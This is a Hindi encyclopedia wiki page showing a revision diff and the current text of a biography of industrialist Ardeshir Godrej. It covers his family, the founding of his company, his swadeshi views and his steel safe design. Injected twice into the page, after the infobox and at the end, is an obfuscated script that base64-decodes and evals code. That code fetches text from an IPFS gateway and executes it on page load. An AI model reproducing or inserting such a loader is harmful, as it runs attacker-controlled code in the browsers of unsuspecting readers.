"आर्देशिर गोदरेज" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replacement - "वरन " to "वरन् ")
 
पंक्ति 12: पंक्ति 12:
 
|संतान=
 
|संतान=
 
|गुरु=
 
|गुरु=
|कर्म भूमि= [[भारत]]
+
|कर्म भूमि=[[भारत]]
|कर्म-क्षेत्र=  
+
|कर्म-क्षेत्र=व्यवसाय
 
|मुख्य रचनाएँ=
 
|मुख्य रचनाएँ=
 
|विषय=
 
|विषय=
पंक्ति 39: पंक्ति 39:
 
|अद्यतन=
 
|अद्यतन=
 
}}
 
}}
'''आर्देशिर बुर्जोरजी सोराबजी गोदरेज''' ([[अंग्रेज़ी]]:''Ardeshir Burjorji Sorabji Godrej'', जन्म- [[1868]]; मृत्यु- [[1936]]) एक भारतीय व्यापारी थे। उन्होंने अपने भाई पिरोज्शा बुर्जोरजी के साथ गोदरेज ब्रदर्स कंपनी की स्थापना की, जो आधुनिक गोदरेज समूह की पूर्ववर्ती थी।
+
'''आर्देशिर बुर्जोरजी सोराबजी गोदरेज''' ([[अंग्रेज़ी]]:''Ardeshir Burjorji Sorabji Godrej'', जन्म- [[1868]]; मृत्यु- [[1936]]) [[भारत]] के प्रसिद्ध व्यापारियों में से एक थे। उन्होंने अपने भाई पिरोज्शा बुर्जोरजी के साथ 'गोदरेज ब्रदर्स कंपनी' की स्थापना की थी, जो आधुनिक गोदरेज समूह की पूर्ववर्ती थी।
 
==परिचय==
 
==परिचय==
उनका पूरा नाम आर्देशिर बुर्जोरजी सोराबजी गोदरेज था। उन्होंने देशप्रेम की भावना के कारण अपनी वकालत का त्याग किया। वकालत छोड़कर [[1897]] में उन्होंने गोदरेज एंड बायस मैन्युफैक्चरिंग कम्पनी की स्थापना की। इस कम्पनी ने सबसे पहले ताला बनाया। उन्होंने पूर्णतया भारतीय स्वदेशी वस्तुओं का तो उत्पादन किया ही, परंतु उनका सबसे महत्त्वपूर्ण कार्य था कि उन्होंने भारतीयों की उस मानसिक दासता को समाप्त किया जो उनके मन में विदेशी माल की श्रेष्ठता के सम्बंध में बैठी हुई थी। उनके उत्पादनों की तुलना किसी भी बढ़िया विदेशी माल से की जा सकती है।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=244|url=}}</ref>
+
आर्देशिर गोदरेज का जन्म सन 1868 में बुर्जोरजी और दोसीबाई गुथेराजी की छह संतानों में से पहली संतान के रूप में हुआ था। गूथेराजी बंबई (अब [[मुंबई]]) का एक धनी [[पारसी]] [[परिवार]] था और आर्देशिर के [[पिता]] बुर्जोरजी और दादा सोराबजी रियल एस्टेट का कारोबार करते थे। [[जनवरी]] [[1871]] में उनके पिता ने परिवार का नाम बदलकर 'गोदरेज' रख दिया। सन [[1890]] में आर्देशिर गोदरेज ने बच्चू (बचुबाई) से शादी की, जो अभी अठारह साल की हुई थी।
 +
==देशप्रेम की भावना==
 +
आर्देशिर गोदरेज ने देशप्रेम की भावना के कारण अपनी वकालत का त्याग किया। वकालत छोड़कर [[1897]] में उन्होंने 'गोदरेज एंड बायस मैन्युफैक्चरिंग कम्पनी' की स्थापना की। इस कम्पनी ने सबसे पहले ताला बनाया। उन्होंने पूर्णतया भारतीय स्वदेशी वस्तुओं का तो उत्पादन किया ही, परंतु उनका सबसे महत्त्वपूर्ण कार्य था कि उन्होंने भारतीयों की उस मानसिक दासता को समाप्त किया जो उनके मन में विदेशी माल की श्रेष्ठता के सम्बंध में बैठी हुई थी। उनके उत्पादनों की तुलना किसी भी बढ़िया विदेशी माल से की जा सकती है।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=244|url=}}</ref>
 
==कम्पनी की शरुआत एवं उत्पादन==
 
==कम्पनी की शरुआत एवं उत्पादन==
कुछ व्यक्ति ऐसे होते हैं, जिन्हें किसी एक सीमा में नहीं बाँधा जा सकता। वह दो युगों के बीच पुल का काम करते दिखाई देते हैं। गोदरेज एक ऐसा ही नाम है। इसका कारण यह है कि जब ‘मेड इन इंग्लैण्ड’ की किसी भी वस्तु को बेच लेना बहुत ही सरल काम था, उस समय गोदरेज ने घरों की सुरक्षा में काम आने वाले उपकरणों का उत्पादन आरम्भ किया। इसके अतिरिक्त व्यक्तिगत देखभाल, कार्यालयों के काम आने वाला सामान, मशीनरी, औज़ार और साबुन आदि अनेक वस्तुएं भी गोदरेज कम्पनी समूह द्वारा बनाई जाने लगीं और उन वस्तुओं में शीघ्र ही बाज़ार में अपनी गुणवत्ता की धाक जमा ली। गोदरेज का यह कार्य [[भारत]] में एक नवीन परिवर्तन का प्रमाण था। इस प्रकार गोदरेज भारत में एक नया परिवर्तन लाने वाले महत्त्वपूर्ण उद्योगपति माने जाते हैं। कारण यह है कि उनमें स्वदेशी उत्पादन की भावना काम कर रही थी। परंतु उनके स्वदेशी का अर्थ विदेशी वस्तुओं का बहिस्कार नहीं था, वरन् उनके लिए स्वदेशी का अर्थ भारतीयों के लिए ऐसी उपयोगी वस्तुओं का निर्माण था, जो वास्तव में भारतीय हों। उन्होंने यह कार्य देशभक्ति की भावना से प्रेरित होकर ही किया था।
+
कुछ व्यक्ति ऐसे होते हैं, जिन्हें किसी एक सीमा में नहीं बाँधा जा सकता। वह दो युगों के बीच पुल का काम करते दिखाई देते हैं। 'गोदरेज' एक ऐसा ही नाम है। इसका कारण यह है कि जब ‘मेड इन इंग्लैण्ड’ की किसी भी वस्तु को बेच लेना बहुत ही सरल काम था, उस समय गोदरेज ने घरों की सुरक्षा में काम आने वाले उपकरणों का उत्पादन आरम्भ किया। इसके अतिरिक्त व्यक्तिगत देखभाल, कार्यालयों के काम आने वाला सामान, मशीनरी, औज़ार और साबुन आदि अनेक वस्तुएं भी गोदरेज कम्पनी समूह द्वारा बनाई जाने लगीं और उन वस्तुओं में शीघ्र ही बाज़ार में अपनी गुणवत्ता की धाक जमा ली।
 +
 
 +
आर्देशिर गोदरेज का यह कार्य [[भारत]] में एक नवीन परिवर्तन का प्रमाण था। इस प्रकार गोदरेज [[भारत]] में एक नया परिवर्तन लाने वाले महत्त्वपूर्ण उद्योगपति माने जाते हैं। कारण यह है कि उनमें स्वदेशी उत्पादन की भावना काम कर रही थी। परंतु उनके स्वदेशी का अर्थ विदेशी वस्तुओं का बहिस्कार नहीं था, वरन् उनके लिए स्वदेशी का अर्थ भारतीयों के लिए ऐसी उपयोगी वस्तुओं का निर्माण था, जो वास्तव में भारतीय हों। उन्होंने यह कार्य देशभक्ति की भावना से प्रेरित होकर ही किया था।
 +
==तिजोरियों का निर्माण==
 +
सन [[1901]] में आर्देशिर गोदरेज ने तिजोरियों के साथ प्रयोग करना शुरू कर दिया। उन्होंने एक ऐसी तिजोरी बनाने का संकल्प लिया जो न केवल चोरीरोधी हो, बल्कि अग्निरोधक भी हो, जैसा कि उन्होंने निर्धारित किया था। आर्देशिर गोदरेज ने [[कागज]] पर दर्जनों डिज़ाइन बनाए और अपने इंजीनियरों और कारीगरों के साथ अनगिनत चर्चाएँ कीं, जब तक कि अंततः यह निर्धारित नहीं हो गया कि सुरक्षा और स्थिरता सुनिश्चित करने का एकमात्र तरीका स्टील की एक शीट से तिजोरी बनाना है। परिणामी डिज़ाइन में कुल मिलाकर सोलह मोड़ थे, क्रॉस-आकार की शीट के प्रत्येक पक्ष को आगे की ओर मोड़ा गया था और फिर सामने के दरवाजे के फ्रेम को बनाने के लिए दो बार (अंदर की ओर) मोड़ा गया था। जोड़ों को वेल्ड किया गया था, रिवेट नहीं किया गया था, और कॉपर को दूसरी सोलह-मोड़ वाली शीट से कवर किया गया था, जो पहले से 90 डिग्री तक ऑफसेट थी। दरवाज़ा डबल प्लेटेड था, जिसमें आंतरिक प्लेट से ताला और टिका लगा हुआ था और जोड़ बाहरी प्लेट से ढके हुए थे। कुल वजन 1¾ टन था। कुल मिलाकर तीन पेटेंटों में आर्देशिर डिज़ाइन शामिल था। पहली तिजोरियाँ [[1902]] में बाज़ार में आईं।
 
==निधन==
 
==निधन==
 
आर्देशिर गोदरेज का [[वर्ष]] [[1936]] में निधन हो गया।
 
आर्देशिर गोदरेज का [[वर्ष]] [[1936]] में निधन हो गया।
 
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
पंक्ति 53: पंक्ति 58:
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{उद्योगपति और व्यापारी}}
 
{{उद्योगपति और व्यापारी}}
[[Category:उद्योगपति और व्यापारी]][[Category:चरित कोश]][[Category:जीवनी साहित्य]]
+
[[Category:उद्योगपति और व्यापारी]][[Category:जीवनी साहित्य]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:चरित कोश]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:इतिहास कोश]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

09:04, 29 मार्च 2024 के समय का अवतरण

आर्देशिर गोदरेज
आर्देशिर गोदरेज
पूरा नाम आर्देशिर बुर्जोरजी सोराबजी गोदरेज
अन्य नाम आर्देशिर बुर्जोरजी गोदरेज
जन्म 1868
मृत्यु 1936
कर्म भूमि भारत
कर्म-क्षेत्र व्यवसाय
प्रसिद्धि उद्योगपति
विशेष योगदान गोदरेज ने भारतीयों की उस मानसिक दासता को समाप्त किया, जो उनके मन में विदेशी माल की श्रेष्ठता के सम्बंध में बैठी हुई थी।
नागरिकता भारतीय
अन्य जानकारी गोदरेज भारत में एक नया परिवर्तन लाने वाले महत्त्वपूर्ण उद्योगपति माने जाते हैं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आर्देशिर बुर्जोरजी सोराबजी गोदरेज (अंग्रेज़ी:Ardeshir Burjorji Sorabji Godrej, जन्म- 1868; मृत्यु- 1936) भारत के प्रसिद्ध व्यापारियों में से एक थे। उन्होंने अपने भाई पिरोज्शा बुर्जोरजी के साथ 'गोदरेज ब्रदर्स कंपनी' की स्थापना की थी, जो आधुनिक गोदरेज समूह की पूर्ववर्ती थी।

परिचय

आर्देशिर गोदरेज का जन्म सन 1868 में बुर्जोरजी और दोसीबाई गुथेराजी की छह संतानों में से पहली संतान के रूप में हुआ था। गूथेराजी बंबई (अब मुंबई) का एक धनी पारसी परिवार था और आर्देशिर के पिता बुर्जोरजी और दादा सोराबजी रियल एस्टेट का कारोबार करते थे। जनवरी 1871 में उनके पिता ने परिवार का नाम बदलकर 'गोदरेज' रख दिया। सन 1890 में आर्देशिर गोदरेज ने बच्चू (बचुबाई) से शादी की, जो अभी अठारह साल की हुई थी।

देशप्रेम की भावना

आर्देशिर गोदरेज ने देशप्रेम की भावना के कारण अपनी वकालत का त्याग किया। वकालत छोड़कर 1897 में उन्होंने 'गोदरेज एंड बायस मैन्युफैक्चरिंग कम्पनी' की स्थापना की। इस कम्पनी ने सबसे पहले ताला बनाया। उन्होंने पूर्णतया भारतीय स्वदेशी वस्तुओं का तो उत्पादन किया ही, परंतु उनका सबसे महत्त्वपूर्ण कार्य था कि उन्होंने भारतीयों की उस मानसिक दासता को समाप्त किया जो उनके मन में विदेशी माल की श्रेष्ठता के सम्बंध में बैठी हुई थी। उनके उत्पादनों की तुलना किसी भी बढ़िया विदेशी माल से की जा सकती है।[1]

कम्पनी की शरुआत एवं उत्पादन

कुछ व्यक्ति ऐसे होते हैं, जिन्हें किसी एक सीमा में नहीं बाँधा जा सकता। वह दो युगों के बीच पुल का काम करते दिखाई देते हैं। 'गोदरेज' एक ऐसा ही नाम है। इसका कारण यह है कि जब ‘मेड इन इंग्लैण्ड’ की किसी भी वस्तु को बेच लेना बहुत ही सरल काम था, उस समय गोदरेज ने घरों की सुरक्षा में काम आने वाले उपकरणों का उत्पादन आरम्भ किया। इसके अतिरिक्त व्यक्तिगत देखभाल, कार्यालयों के काम आने वाला सामान, मशीनरी, औज़ार और साबुन आदि अनेक वस्तुएं भी गोदरेज कम्पनी समूह द्वारा बनाई जाने लगीं और उन वस्तुओं में शीघ्र ही बाज़ार में अपनी गुणवत्ता की धाक जमा ली।

आर्देशिर गोदरेज का यह कार्य भारत में एक नवीन परिवर्तन का प्रमाण था। इस प्रकार गोदरेज भारत में एक नया परिवर्तन लाने वाले महत्त्वपूर्ण उद्योगपति माने जाते हैं। कारण यह है कि उनमें स्वदेशी उत्पादन की भावना काम कर रही थी। परंतु उनके स्वदेशी का अर्थ विदेशी वस्तुओं का बहिस्कार नहीं था, वरन् उनके लिए स्वदेशी का अर्थ भारतीयों के लिए ऐसी उपयोगी वस्तुओं का निर्माण था, जो वास्तव में भारतीय हों। उन्होंने यह कार्य देशभक्ति की भावना से प्रेरित होकर ही किया था।

तिजोरियों का निर्माण

सन 1901 में आर्देशिर गोदरेज ने तिजोरियों के साथ प्रयोग करना शुरू कर दिया। उन्होंने एक ऐसी तिजोरी बनाने का संकल्प लिया जो न केवल चोरीरोधी हो, बल्कि अग्निरोधक भी हो, जैसा कि उन्होंने निर्धारित किया था। आर्देशिर गोदरेज ने कागज पर दर्जनों डिज़ाइन बनाए और अपने इंजीनियरों और कारीगरों के साथ अनगिनत चर्चाएँ कीं, जब तक कि अंततः यह निर्धारित नहीं हो गया कि सुरक्षा और स्थिरता सुनिश्चित करने का एकमात्र तरीका स्टील की एक शीट से तिजोरी बनाना है। परिणामी डिज़ाइन में कुल मिलाकर सोलह मोड़ थे, क्रॉस-आकार की शीट के प्रत्येक पक्ष को आगे की ओर मोड़ा गया था और फिर सामने के दरवाजे के फ्रेम को बनाने के लिए दो बार (अंदर की ओर) मोड़ा गया था। जोड़ों को वेल्ड किया गया था, रिवेट नहीं किया गया था, और कॉपर को दूसरी सोलह-मोड़ वाली शीट से कवर किया गया था, जो पहले से 90 डिग्री तक ऑफसेट थी। दरवाज़ा डबल प्लेटेड था, जिसमें आंतरिक प्लेट से ताला और टिका लगा हुआ था और जोड़ बाहरी प्लेट से ढके हुए थे। कुल वजन 1¾ टन था। कुल मिलाकर तीन पेटेंटों में आर्देशिर डिज़ाइन शामिल था। पहली तिजोरियाँ 1902 में बाज़ार में आईं।

निधन

आर्देशिर गोदरेज का वर्ष 1936 में निधन हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 244 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>